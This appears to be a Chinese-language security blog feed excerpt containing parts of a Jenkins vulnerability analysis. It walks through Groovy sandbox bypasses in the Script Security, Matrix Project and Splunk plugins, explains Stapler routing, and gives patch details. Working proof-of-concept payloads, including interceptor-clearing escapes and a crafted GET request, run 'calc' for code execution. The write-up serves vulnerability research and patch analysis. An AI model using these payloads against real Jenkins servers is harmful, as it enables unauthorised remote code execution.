&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259623884.png&#34; alt=&#34;1568259623884&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259687132.png&#34; alt=&#34;1568259687132&#34; /&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;注意：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;当通过grab拉取jar后会在&lt;code&gt;~/.groovy/grapes&lt;/code&gt;目录创建相应的&lt;code&gt;ivy.xml&lt;/code&gt;文件（类似于pom文件，保存依赖关系）和&lt;code&gt;jars&lt;/code&gt;目录，当再次请求相同的包时会从本地获取jar文件而不会去请求http，如果要再次请求就需要更改包名或版本；&lt;/li&gt;
&lt;li&gt;还需要注意目标的Java版本与编译恶意类的Java版本是否一致，否则会报错；&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;security-1320&#34;&gt;SECURITY-1320&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;CVE：CVE-2019-1003024&lt;/li&gt;
&lt;li&gt;插件：Script Security Plugin&lt;/li&gt;
&lt;li&gt;版本：&amp;lt;=1.52&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;补丁中对1320的&lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/3228c88e84f0b2f24845b6466cae35617e082059#diff-6f8c6ffbeca4d1d208c9c232770a644fR950&#34;&gt;测试用例&lt;/a&gt;提示了绕过方法，就是通过导入别名的方式&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571124411948.png&#34; alt=&#34;1571124411948&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;poc-4&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import groovy.transform.ASTTest as lolwut;
@lolwut(value={assert java.lang.Runtime.getRuntime().exec(&amp;quot;calc&amp;quot;)})
class ASTTestPoc{};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571125498965.png&#34; alt=&#34;1571125498965&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1321&#34;&gt;SECURITY-1321&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;CVE：CVE-2019-1003024&lt;/li&gt;
&lt;li&gt;插件：Script Security Plugin&lt;/li&gt;
&lt;li&gt;版本：&amp;lt;=1.52&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;同样根据&lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/3228c88e84f0b2f24845b6466cae35617e082059#diff-6f8c6ffbeca4d1d208c9c232770a644fR921&#34;&gt;测试用例&lt;/a&gt;发现通过&lt;code&gt;元注释&lt;/code&gt;来绕过&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/api/groovy/transform/AnnotationCollector.html&#34;&gt;文档&lt;/a&gt;上的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import groovy.transform.*
@AnnotationCollector([EqualsAndHashCode, ToString])
@interface Simple {}

@Simple
class User {
    String username
    int age
}

def user = new User(username: &#39;mrhaki&#39;, age: 39)
assert user.toString()
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;poc-5&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import groovy.transform.*;
@AnnotationCollector([ASTTest])
@interface Lol {}
@Lol(value={assert java.lang.Runtime.getRuntime().exec(&amp;quot;calc&amp;quot;)})
class ASTTestPoc{};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571128442836.png&#34; alt=&#34;1571128442836&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-2&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/3228c88e84f0b2f24845b6466cae35617e082059&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;版本：1.53&lt;/li&gt;
&lt;li&gt;概述：SECURITY-1318, SECURITY-1319, SECURITY-1320, SECURITY-1321均在1.53版本中修复，把Grab注释相关的方法全部放进了黑名单&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570871810447.png&#34; alt=&#34;1570871810447&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1339&#34;&gt;SECURITY-1339&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339&#34;&gt;https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-1003031&lt;/li&gt;
&lt;li&gt;插件：Matrix Project Plugin&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;= 1.13&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个漏洞需要配合&lt;a href=&#34;https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336%20(1)&#34;&gt;SECURITY-1336 (1)&lt;/a&gt; / CVE-2019-1003029触发，本质还是利用在解析groovy脚本后中通过script.run()执行代码&lt;/p&gt;

&lt;h4 id=&#34;分析-2&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;从页面提交Filter之后执行到&lt;code&gt;hudson.matrix.MatrixProject#submit()&lt;/code&gt;，payload传给参数&lt;code&gt;combinationFilter&lt;/code&gt;，随后执行&lt;code&gt;rebuildConfigurations&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568687478328.png&#34; alt=&#34;1568687478328&#34; /&gt;&lt;/p&gt;

&lt;p&gt;payload传入&lt;code&gt;evalGroovyExpression&lt;/code&gt;，然后调用&lt;code&gt;hudson.matrix.FilterScript#parse()&lt;/code&gt;方法初始化一个GroovyShell，并通过GroovyShell解析表达式，代码得到执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568687517862.png&#34; alt=&#34;1568687517862&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568792862732.png&#34; alt=&#34;1568792862732&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;poc-6&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class poc{poc(){&amp;quot;calc&amp;quot;.execute()}}
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;补丁-3&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;jenkinsci/matrix-project-plugin &lt;a href=&#34;https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;概述：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在SECURITY-1336的修复中，使用安全的方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;GroovySandbox.run(GroovyShell, String, Whitelist)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;代替&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;GroovySandbox.run(Script, Whitelist)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568691589273.png&#34; alt=&#34;1568691589273&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568691613625.png&#34; alt=&#34;1568691613625&#34; /&gt;&lt;/p&gt;

&lt;p&gt;安全方法会在执行之前通过白名单检查，之后直接通过shell.parse会抛出一个java.lang.IllegalStateException的异常&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568691388339.png&#34; alt=&#34;1568691388339&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1465&#34;&gt;SECURITY-1465&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2&#34;&gt;https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-10355, CVE-2019-10356&lt;/li&gt;
&lt;li&gt;插件：Script Security&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.61&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;概述&#34;&gt;概述&lt;/h4&gt;

&lt;p&gt;Groovy语法中的方法指针运算符&lt;code&gt;.&amp;amp;&lt;/code&gt;可以获取一个方法指针，后面再调用该指针可以直接访问到指定方法，如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;void doSomething(def param) {
    println &amp;quot;In doSomething method, param: &amp;quot; + param
}
def m = this.&amp;amp;doSomething
m(&amp;quot;test param&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&#34;分析-3&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;org.kohsuke.groovy.sandbox.GroovyInterceptor&lt;/code&gt;是一个拦截器类，功能是为当前线程创建相应方法的拦截器，在接收拦截之前，需要通过&lt;code&gt;GroovyInterceptor#register()&lt;/code&gt;注册，相关方法在&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568858988658.png&#34; alt=&#34;1568858988658&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在script-security 1.58版本中把这部分代码放到了GroovySandbox.Scope enter()方法中&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568859792340.png&#34; alt=&#34;1568859792340&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而register()方法的功能是通过&lt;code&gt;threadInterceptors.get().add()&lt;/code&gt;为当前线程注册拦截器&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public void register() {
    ((List)threadInterceptors.get()).add(this);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;该漏洞的利用点就是在&lt;code&gt;threadInterceptors.get()&lt;/code&gt;获取到线程信息之后，再调用clear()方法清除当前线程的所有拦截器，使黑名单失效，然后就可以注入自定义代码来绕过沙箱&lt;/p&gt;

&lt;p&gt;本地测试一下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-groovy&#34;&gt;({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;calc&amp;quot; }()).execute();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568861762489.png&#34; alt=&#34;1568861762489&#34; /&gt;&lt;/p&gt;

&lt;p&gt;但是直接发送这个脚本会被&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.whitelists.StaticWhitelist#rejectStaticField()&lt;/code&gt;拦截，于是可以在&lt;code&gt;execute&lt;/code&gt;之前利用&lt;code&gt;.&amp;amp;&lt;/code&gt;操作符绕过&lt;/p&gt;

&lt;p&gt;或者利用这个&lt;a href=&#34;https://github.com/jenkinsci/groovy-sandbox/issues/54&#34;&gt;issue&lt;/a&gt;的方式，在此处&lt;code&gt;.&amp;amp;&lt;/code&gt;并没有起到实质调用的作用，只是为了绕过Jenkins对&lt;code&gt;staticField&lt;/code&gt;的检查&lt;/p&gt;

&lt;h4 id=&#34;poc-7&#34;&gt;PoC&lt;/h4&gt;

&lt;p&gt;PoC的变化也多种多样，可以通过上面分析的&lt;code&gt;Matrix Project Plugin&lt;/code&gt;插件触发&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Poc1&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;calc&amp;quot; }().&amp;amp;toString).execute();
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;PoC2&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;1.&amp;amp;({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &#39;x&#39; }()); &#39;calc&#39;.execute()
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568792275964.png&#34; alt=&#34;1568792275964&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-4&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/groovy-sandbox &lt;a href=&#34;https://github.com/jenkinsci/groovy-sandbox/commit/e30cd28d7b30cd606e78c22174cb04e0450244a7&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;概述：在方法指针表达式增加了transform检查&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568801252778.png&#34; alt=&#34;1568801252778&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1538&#34;&gt;SECURITY-1538&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1538&#34;&gt;https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1538&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-10393, CVE-2019-10394, CVE-2019-10399, CVE-2019-10400&lt;/li&gt;
&lt;li&gt;插件：Script Security&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.62&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;概述-1&#34;&gt;概述&lt;/h4&gt;

&lt;p&gt;该问题与&lt;a href=&#34;https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2)&#34;&gt;SECURITY-1465&lt;/a&gt;一样，由于groovy语法特性导致绕过，此次利用的是方法调用表达式，可以通过&lt;code&gt;()&lt;/code&gt;运算符直接调用call方法，如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class MyCallable {
    int call(int x) {           
        2*x
    }
}
def mc = new MyCallable()
assert mc.call(2) == 4          
assert mc(2) == 4   
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;同理，自增(&lt;code&gt;++&lt;/code&gt;)自减(&lt;code&gt;--&lt;/code&gt;)运算符也能间接调用到方法&lt;/p&gt;

&lt;h4 id=&#34;分析-4&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;本质上还是通过&lt;code&gt;threadInterceptors.get().clear()&lt;/code&gt;清除拦截器再执行任意代码&lt;/p&gt;

&lt;h4 id=&#34;poc-8&#34;&gt;PoC&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;poc1&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;&#39;calc&#39;.({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;execute&amp;quot; }())();
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;poc2&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;++({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;toString&amp;quot; }());
&#39;calc&#39;.execute()
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568792171461.png&#34; alt=&#34;1568792171461&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-5&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/groovy-sandbox &lt;a href=&#34;https://github.com/jenkinsci/groovy-sandbox/commit/e30cd28d7b30cd606e78c22174cb04e0450244a7&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;概述：对方法调用表达式以及递增递减表达式都做了处理&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568863989383.png&#34; alt=&#34;1568863989383&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568864020702.png&#34; alt=&#34;1568864020702&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1294&#34;&gt;SECURITY-1294&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-08-28/#SECURITY-1294&#34;&gt;https://jenkins.io/security/advisory/2019-08-28/#SECURITY-1294&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE-2019-10390&lt;/li&gt;
&lt;li&gt;插件：Splunk Plugin&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.7.4&lt;/li&gt;
&lt;li&gt;利用点

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;com.splunk.splunkjenkins.SplunkJenkinsInstallation#doCheckScriptContent&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;分析-5&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;通过上面分析的descriptorByName可以直接调用到指定的类，注意到SplunkJenkinsInstallation类的&lt;code&gt;doCheckScriptContent&lt;/code&gt;方法，该方法调用了&lt;/p&gt;

&lt;p&gt;&lt;code&gt;LogEventHelper.validateGroovyScript(value)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;该方法对script进行了解析，而参数value的值直接从request获取，因此传入精心构造的脚本可导致任意代码执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1567144975420.png&#34; alt=&#34;1567144975420&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;poc-9&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;GET /descriptorByName/com.splunk.splunkjenkins.SplunkJenkinsInstallation/checkScriptContent?value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec(%22calc%22)})%0aclass%20ASTTestPoc{}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1567144024727.png&#34; alt=&#34;1567144024727&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-6&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/splunk-devops-plugin &lt;a href=&#34;https://github.com/jenkinsci/splunk-devops-plugin/commit/58db2878a7faa4c34f73774f28740e5ac8041928&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;版本：1.8.0&lt;/li&gt;
&lt;li&gt;概述：引入GroovySandbox在解析前对Groovy脚本进行校验&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1567144462308.png&#34; alt=&#34;1567144462308&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;本报告分析了Jenkins动态路由机制和路由绕过的问题，并讨论了在主流插件Script Security中针对Groovy沙箱的绕过方法，其中最巧妙的是利用自身路由白名单绕过登录检查并结合Groovy语法达到远程代码执行，是一条非常精彩的利用链。&lt;/p&gt;

&lt;p&gt;在修复方式上，可以看出Jenkins对于沙箱问题采取的防护方法是黑名单+白名单的方式，对安全的控制还是比较好的，不少问题都出在Groovy的语法特性上，使得较小权限的用户可以突破沙箱执行任意代码，相信以后也会有更巧妙的方式来绕过沙箱，欢迎大家探讨。&lt;/p&gt;

&lt;p&gt;参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&#34;&gt;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/grape.html&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/grape.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Jenkins 路由解析及沙箱绕过漏洞分析报告(上)</title>
      <link>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8A/</link>
      <pubDate>Tue, 15 Sep 2020 16:42:32 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8A/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h1 id=&#34;jenkins-路由解析及沙箱绕过漏洞分析报告-上&#34;&gt;Jenkins 路由解析及沙箱绕过漏洞分析报告(上)&lt;/h1&gt;

&lt;p&gt;&lt;img src=&#34;https://jenkins.io/images/logo-title-opengraph.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;本报告主要研究Jenkins的路由解析机制和Groovy沙箱绕过带来的安全问题，梳理Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。由于篇幅较长，分为上下两篇发表，文中疏漏之处还请批评指正。&lt;/p&gt;

&lt;p&gt;Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。Jenkins的目的是持续、自动化地构建/测试软件项目以及监控软件开发流程，快速问题定位及处理，提升开发效率。&lt;/p&gt;

&lt;p&gt;Script Security插件是Jenkins的一个安全插件，可以集成到Jenkins各种功能插件中。它主要支持两个相关系统：脚本批准和Groovy沙箱，分别用来管控脚本是否允许执行以及将脚本限制在安全环境下执行，避免带来不可控风险。&lt;/p&gt;

&lt;h3 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;下载相应版本的war包&lt;/p&gt;

&lt;p&gt;地址：&lt;a href=&#34;https://updates.jenkins-ci.org/download/war/&#34;&gt;https://updates.jenkins-ci.org/download/war/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;设置环境变量JENKINS_HOME&lt;/p&gt;

&lt;p&gt;&lt;code&gt;set JENKINS_HOME=D:\Jenkins\jenkins_2.137&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;加上调试选项并运行&lt;/p&gt;

&lt;p&gt;&lt;code&gt;java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jenkins_2.137.war --httpPort=8082&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;安装插件&lt;/p&gt;

&lt;p&gt;国内镜像地址：&lt;a href=&#34;https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json&#34;&gt;https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Jenkins在安装过程中会自动下载部分插件的最新版，这部分可以先跳过，再在后台上传特定版本的插件（&lt;code&gt;.hpi&lt;/code&gt;文件）进行安装，然后重启Jenkins完成安装&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;动态路由机制&#34;&gt;动态路由机制&lt;/h2&gt;

&lt;p&gt;首先从WEB-INF/web.xml入手看看Jenkins如何处理路由，可以看到所有请求都交给org.kohsuke.stapler.Stapler，具体是由Stapler:service()方法来处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568171738754.png&#34; alt=&#34;1568171738754&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568171941279.png&#34; alt=&#34;1568171941279&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在service方法中主要调用的是invoke方法，两处调用的区别是invoke的第3和第4个参数不同，分别是根节点root和url路径，在调用之前判断了url路径，如果是&lt;code&gt;/$stapler/bound/&lt;/code&gt;开头，则把根节点设置为&lt;code&gt;boundObjectTable&lt;/code&gt;，否则通过&lt;code&gt;this.webApp.getApp()&lt;/code&gt;把根节点设置为&lt;code&gt;hudson.model.Hudson&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;跟进invoke方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568172501683.png&#34; alt=&#34;1568172501683&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568172552611.png&#34; alt=&#34;1568172552611&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用的是&lt;code&gt;Stapler#tryInvoke()&lt;/code&gt;方法，tryInvoke()方法中对node类型（也就是一开始的root）进行了判断，按先后顺序分别处理三种情况&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;StaplerProxy&lt;/li&gt;
&lt;li&gt;StaplerOverridable&lt;/li&gt;
&lt;li&gt;StaplerFallback&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这三种情况的具体区别可以参考Jenkins关于&lt;a href=&#34;https://jenkins.io/zh/doc/developer/handling-requests/routing/&#34;&gt;路由请求&lt;/a&gt;的文档&lt;/p&gt;

&lt;p&gt;这里我们关注中间获取metaClass和调用dispatch的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568172929817.png&#34; alt=&#34;1568172929817&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过传入&lt;code&gt;/securityRealm/user/admin/&lt;/code&gt;动态调试来跟踪理解&lt;/p&gt;

&lt;h3 id=&#34;初始化metaclass&#34;&gt;初始化metaClass&lt;/h3&gt;

&lt;p&gt;WebApp中会缓存一个classMap存放MetaClass，无对应缓存则通过&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;mc = new MetaClass(this, c); 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;进行初始化，这个过程发生在Jenkins刚启动没有缓存时，当建立缓存后则直接从classMap获取相应的MetaClass&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;MetaClass mc = (MetaClass)this.classMap.get(c);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568188301839.png&#34; alt=&#34;1568188301839&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在MetaClass的构造方法中，会再次调用其父类的&lt;code&gt;getMetaClass()&lt;/code&gt;方法，直到父类为空为止&lt;/p&gt;

